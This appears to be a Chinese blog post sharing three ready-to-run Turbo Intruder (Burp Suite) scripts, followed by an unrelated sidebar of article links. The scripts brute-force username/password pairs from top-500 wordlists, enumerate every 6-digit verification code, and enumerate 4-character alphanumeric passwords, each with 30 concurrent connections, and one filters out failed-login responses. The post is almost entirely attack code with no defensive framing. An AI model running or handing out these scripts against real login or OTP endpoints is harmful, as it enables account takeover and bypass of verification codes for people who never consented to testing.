当前位置:网站首页>turbo intruder常用脚本
turbo intruder常用脚本
2022-07-07 21:50:00 【b1ackc4t】
爆破用户名密码
from urllib import quote
def user_password_brute(target, engine):
for password in open("D:\\crypto\\mutou\\fuzzDicts\\passwordDict\\top500.txt"):
for user in open("D:\\crypto\\mutou\\fuzzDicts\\userNameDict\\top500.txt"):
engine.queue(target.req,[quote(user.rstrip()),quote(password.rstrip())])
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
#user_brute(target,engine)
#password_brute(target,engine)
user_password_brute(target,engine)
def handleResponse(req, interesting):
table.add(req)
爆破6位验证码
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
table.add(req)
爆破密码
from itertools import product
def brute_veify_code(target, engine, length):
pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 4)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'password not match' not in req.response:
table.add(req)
边栏推荐
- 聊聊支付流程的设计与实现逻辑
- Network security - install CentOS
- What does the model number of asemi rectifier bridge kbpc1510 represent
- Adults have only one main job, but they have to pay a price. I was persuaded to step back by personnel, and I cried all night
- 消息队列与快递柜之间妙不可言的关系
- When copying something from the USB flash disk, an error volume error is reported. Please run CHKDSK
- Understand the session, cookie and token at one time, and the interview questions are all finalized
- Adrnoid开发系列(二十五):使用AlertDialog创建各种类型的对话框
- U盘拷贝东西时,报错卷错误,请运行chkdsk
- Install a new version of idea. Double click it to open it
猜你喜欢

Gbu1510-asemi power supply special 15A rectifier bridge gbu1510

It's no exaggeration to say that this is the most user-friendly basic tutorial of pytest I've ever seen

【刷题记录】3. 无重复字符的最长子串

海内外技术人们“看”音视频技术的未来

Interview questions: how to test app performance?

二叉树(Binary Tree)

USB(十五)2022-04-14

JMeter interface automated test read case, execute and write back result

成年人只有一份主业是要付出代价的,被人事劝退后,我哭了一整晚

Inftnews | web5 vs Web3: the future is a process, not a destination
随机推荐
Network security CSRF
Binary tree
GEE(四):计算两个变量(影像)之间的相关性并绘制散点图
iNFTnews | NFT技术的广泛应用及其存在的问题
Wechat forum exchange applet system graduation design completion (6) opening defense ppt
Brush question 3
Bea-3xxxxx error code
U盘拷贝东西时,报错卷错误,请运行chkdsk
Online interview, how to better express yourself? In this way, the passing rate will be increased by 50%~
Unity3D学习笔记4——创建Mesh高级接口
UE4_UE5全景相机
Are the microorganisms in the intestines the same as those on the skin?
30讲 线性代数 第五讲 特征值与特征向量
Byte hexadecimal binary understanding
Interview questions: how to test app performance?
Innovation today | five key elements for enterprises to promote innovation
2021-01-12
Dynamics 365 查找字段过滤
微信论坛交流小程序系统毕业设计毕设(5)任务书
iNFTnews | Web5 vs Web3:未来是一个过程,而不是目的地